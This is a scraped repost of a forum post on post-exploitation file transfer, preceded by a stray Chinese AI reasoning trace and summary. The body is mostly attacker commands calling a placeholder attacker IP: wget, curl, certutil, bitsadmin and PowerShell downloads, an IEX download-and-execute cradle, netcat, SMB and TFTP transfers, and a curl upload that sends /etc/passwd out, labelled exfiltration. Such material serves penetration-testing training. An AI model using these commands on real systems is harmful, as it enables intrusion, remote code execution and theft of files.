File Transfers on machines you just got a shell on
嗯,用户让我帮忙总结一篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”或者“这篇文章”这样的开头。直接写描述就行。 首先,我需要仔细阅读这篇文章。看起来是关于在入侵机器后如何进行文件传输的。作者提到了很多工具和方法,比如wget、curl、Python HTTP服务器、SMB、Netcat、SCP、TFTP等等。还详细介绍了每种方法的使用步骤,包括攻击机和目标机的操作。 接下来,我需要提炼出文章的核心内容。主要是在不同情况下选择合适的文件传输工具和方法,比如HTTP、SMB、Netcat等,并根据目标机器的连接情况来决定使用哪种方式。 然后,我要确保总结控制在100字以内,并且直接描述内容,不需要额外的开头。可能需要提到文件传输的方法和工具选择的重要性。 最后,检查一下语言是否简洁明了,是否涵盖了所有关键点。 </think> 文章讨论了在入侵机器后如何进行文件传输的方法与工具选择,包括HTTP、SMB、Netcat、Python HTTP服务器、SCP/SFTP、TFTP等工具的使用场景及操作步骤,并强调根据目标机器的连接性和可用工具灵活选择传输方式。 2026-3-22 19:34:35 Author: www.reddit.com(查看原文) 阅读量:0 收藏

A pretty overlooked subject imo, but it's definitely relevant and pretty much critical once you're past the foothold stage and now have to trasnfer files onto or from the compromised machine. File transfers on machines you just got a shell on are a connectivity problem. what can this target actually reach, and what does it have available to receive with?

Step 1: figure out what you're working with

Before anything else, check what transfer tools are available on the target. Look for wget, curl, python3, php, perl, ruby, nc, ftp, scp and tftp, whatever's there defines what you work with (duh)

find / -name wget 2>/dev/null

find / -name curl 2>/dev/null

Then figure out what outbound connectivity looks like. Can it reach your machine at all?

so from target, test outbound connectivity

ping -c 1 YOUR_IP

curl http://YOUR_IP:8080

wget http://YOUR_IP:8080

of course set up a quick listener on your attack machine before running these so you can see what actually hits:

python3 -m http.server 8080

tcpdump -i tun0 icmp (to watch for pings)

What comes back tells you everything, HTTP allowed but not ICMP, raw TCP blocked, nothing at all, whatever answer points you to a different method. Anyway, each method:

HTTP:

If the target can reach you over HTTP you're in good shape, serve from your machine, pull from the target.

-On your attack machine:

cd /path/to/files

python3 -m http.server 8080

or

php -S [0.0.0.0: 8080] (incase no python)

-On your target (if Linux)

wget http://YOUR_IP:8080/linpeas.sh -O /tmp/linpeas.sh

or

curl http://YOUR_IP:8080/linpeas.sh -o /tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

-On your target (if windows) you can run:

certutil -urlcache -split -f http://YOUR_IP:8080/file.exe file.exe

or

powershell -c "Invoke-WebRequest http://YOUR_IP:8080/file.exe -OutFile file.exe"

or

powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR_IP:8080/file.exe','file.exe')"

or

bitsadmin /transfer job http://YOUR_IP:8080/file.exe C:\Windows\Temp\file.exe

SMB:

SMB is a solid choice on Windows where it's native and doesn't require downloading anything.

-on the attack machine:

impacket-smbserver share . -smb2support

or

impacket-smbserver share . -smb2support -username user -password pass (in case auth required)

-on the target (if windows)

copy \YOUR_IP\share\file.exe .

or

\YOUR_IP\share\file.exe

or

net use Z: \YOUR_IP\share (if you want to map as drive letter)

-Netcat:

If outbound HTTP is filtered but raw TCP isn't, netcat works in both directions.

-Target machine

nc -lvnp 5555 > linpeas.sh

-attack machine

nc TARGET_IP 5555 < linpeas.sh

(or if you wanna pull from attack machine)

-Attack machine:

nc -lvnp 5555 < linpeas.sh

-Then target

nc YOUR_IP 5555 > linpeas.sh

chmod +x linpeas.sh

Python HTTP server + upload :

Python's http.server only serves files by default. If you need to push files TO your attack machine from the target, you need an upload-capable server.

-Attack machine

pip install uploadserver

python3 -m uploadserver 8080

-Target (push file back to you)

curl -X POST http://YOUR_IP:8080/upload -F files=@/etc/passwd

or

curl -X POST http://YOUR_IP:8080/upload -F [email protected]

useful for exfiltrating files from the target

SCP and SFTP

If you have SSH credentials or a key,

(to push to target)

scp linpeas.sh user@TARGET_IP:/tmp/linpeas.sh

or

scp -i id_rsa linpeas.sh user@TARGET_IP:/tmp/linpeas.sh

(to pull from target externally)

scp user@TARGET_IP:/etc/passwd ./passwd

or

scp -r user@TARGET_IP:/opt/app ./app

TFTP:

On older Linux systems or embedded devices TFTP is sometimes the only thing available.

-Attack machine:

sudo systemctl start tftpd-hpa

or

sudo atftpd --daemon --port 69 /tftp

-Target

tftp YOUR_IP

get linpeas.sh

quit

Windows has a few native options too:

-PowerShell download cradle

IEX (New-Object Net.WebClient).DownloadString('http://YOUR_IP:8080/script.ps1')

-PowerShell file download

Invoke-WebRequest http://YOUR_IP:8080/file.exe -OutFile C:\Windows\Temp\file.exe

or

powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR_IP:8080/file.exe','file.exe')"

-Living off the land (use existing Windows binaries)

expand \YOUR_IP\share\file.cab C:\Windows\Temp\file.exe

The decision tree in practice: HTTP first, SMB if Windows, netcat if TCP is open, SCP if SSH is available


文章来源: https://www.reddit.com/r/HowToHack/comments/1s0uywc/file_transfers_on_machines_you_just_got_a_shell_on/
如有侵权请联系:admin#unsafe.sh